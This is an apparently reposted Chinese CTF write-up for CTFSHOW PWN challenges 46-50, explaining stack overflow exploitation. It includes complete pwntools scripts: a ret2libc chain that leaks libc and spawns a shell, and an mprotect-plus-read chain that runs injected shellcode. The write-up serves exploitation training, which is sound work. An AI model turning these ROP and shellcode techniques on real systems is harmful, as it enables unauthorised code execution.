CTFSHOW-PWN(46-50)

admin 2026-03-04 10:46:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档记录了CTFSHOW平台PWN题目46至50的解题过程。内容涵盖64位与32位栈溢出漏洞利用,重点分析了ret2libc构造、堆栈平衡处理及利用mprotect修改内存权限执行shellcode的技巧。结合IDA分析与checksec检查,提供了完整的Python利用脚本,对学习ROP链构造与内存权限修改具有参考价值。 综合评分: 85 文章分类: CTF,二进制安全,漏洞分析,漏洞POC


cover_image

CTFSHOW-PWN(46-50)

Megrez。 Megrez。

B1acktide安全团队

2026年3月2日 22:26 重庆

PWN入门46

检查

64位,其他的没区别,开IDA

正常存在缓冲区溢出

我们发现了这个玩意,思路大体跟上一个一致,知识又要考虑堆栈平衡一类的东西:开!

好了,说白了直接套用上面的exp:

from pwn import *context.log_level='debug'p=remote("pwn.challenge.ctf.show",28162)elf=ELF("./pwn46")libc=ELF("./libc-2.27.so")puts_plt=elf.plt['puts']puts_got=elf.got['puts']main_addr=elf.symbols['main']offset=0x70+0x8rdi_addr=0x400803ret_addr=0x4004fepayload1=offset*b'a'+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)    #注意ret_addr的使用,跳过指令很可能使程序崩溃p.sendline(payload1)puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))print(hex(puts_addr))base_addr=puts_addr-libc.symbols['puts']print(hex(base_addr))sys_addr=base_addr+libc.symbols['system']binsh_addr=base_addr+next(libc.search(b'/bin/sh'))payload2=offset*b'a'+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(sys_addr)p.sendline(payload2)p.interactive()

执行即可得到flag

PWN入门47

一样,检查文件

32位,不用考虑堆栈平衡;PR,可以用动态链接库修改GOT;没开canary,可以直接溢出;开了NX,没法直接注入shellcode执行;没开PIE,位置确定

打开IDA

设定s长度152,而gets函数压根不检查输入长度,我们可以直接输入超过152的数据覆盖栈上的返回地址与其他关键数据,实现任意代码执行,而主函数也可以泄露puts等函数地址

我们又在文件里发现了/bin/sh,跟45一样搓脚本即可

PWN入门49

检查发现,32位,不用考虑堆栈平衡,PR,能用动态链接库动GOT,开了金丝雀需要泄露,开了NX没法直接执行注入的shellcode,没开PIE,位置确定

开IDA

主函数啥都没

这里直接存在溢出与危险函数,同时我们检查文件类型

statically linked,即静态编译文件,与此同时,题目提醒我们用到mprotect

mprotect函数解释:任何静态链接文件都存在此函数,其可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,内核将给予一个SIGSEGV信号给该进程。

mprotect(viod *addr,size_t len,int prot)

addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址.

size_t:简而言之为页大小(一般为4KB==4096个字节)的整数倍。

len:被修改保护属性区域的长度,最好是页大小的整数倍,修改区域范围[addr,addr+len-1]

prot:可以取read(可读)、write(可写)、exec(可执行)、none(不可访问)几个值。返回值:0->成功;-1->失败(且errno被设置)

EACCE:无法设置内存段的保护属性,当通过mmap(2)映射一个文件为只读权限时,接着使用mprotect()标志为PROT_WRITE这种情况就会发生。

EINVAL:addr不是有效指针,或者不是系统页大小的倍数

ENOMEM:内核内部的结构体无法分配

PROT:R:4;W:2;X:1,PROT为7即为可读可写可执行

通过ID分析,我们知道要先填充22个A造成溢出,接下来就是ctfshow()函数的返回地址,我们要把其设置为MP函数的地址,接下来要找其地址

找到咧,接下来需要再填入一个MP函数的返回地址,我们需要将其返回地址设置为read函数的地址,这样才能将shellcode写进内存空间。

我们知道MP函数是由三个参数的,所以大致思路如下,找一个三个pop一个ret的gadget,因为我们要将三个函数pop了才能ret跳到read函数执行

找到了,接下来找read函数,在IDA里看到ctfshow里有,那我们直接找

如此我们找到了,接下来还要确定MP函数的参数:

起始地址,我们要修改权限的内存空间的起始地址,就是用GOT表的起始地址来存放shellcode

第二个是我们要修改的空间大小,这个随便编,够用就行

第三个是权限,直接7,开到最大

不仅如此,我们调用read函数便要考虑其参数,参数1随便写个0,参数2填返回地址即shellcode的地址,第三个直接提取shellcode的长度,之后再发shellcode即可

EXP:

from pwn import *p=remote("pwn.challenge.ctf.show","28251")payload=22*'a'+p32(0x0806cdd0)+p32(0x08056194)+p32(0x080da000)+p32(0x1000)+p32(0x7)shellcode=asm(shellcraft.sh(),arch='i386',os='linux')payload+=p32(0x806bee0)+p32(0x080da000)+p32(0x0)+p32(0x080da000)+p32(len(shellcode))p.sendline(payload)p.sendline(shellcode)p.interactive()

PWN入门50

64位,考虑堆栈平衡;PR,可动GOT;没有金丝雀,开了NX,没开PIE,位置确定

开IDA

存在溢出漏洞,与此同时我们发现了这个函数

按照PWN46的老套路来就行


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:B1acktide安全团队 Megrez。 Megrez。《CTFSHOW-PWN(46-50)》

CTFSHOW-PWN(46-50) 网络安全文章

CTFSHOW-PWN(46-50)

文章总结: 该文档记录了CTFSHOW平台PWN题目46至50的解题过程。内容涵盖64位与32位栈溢出漏洞利用,重点分析了ret2libc构造、堆栈平衡处理及利
评论:0   参与:  0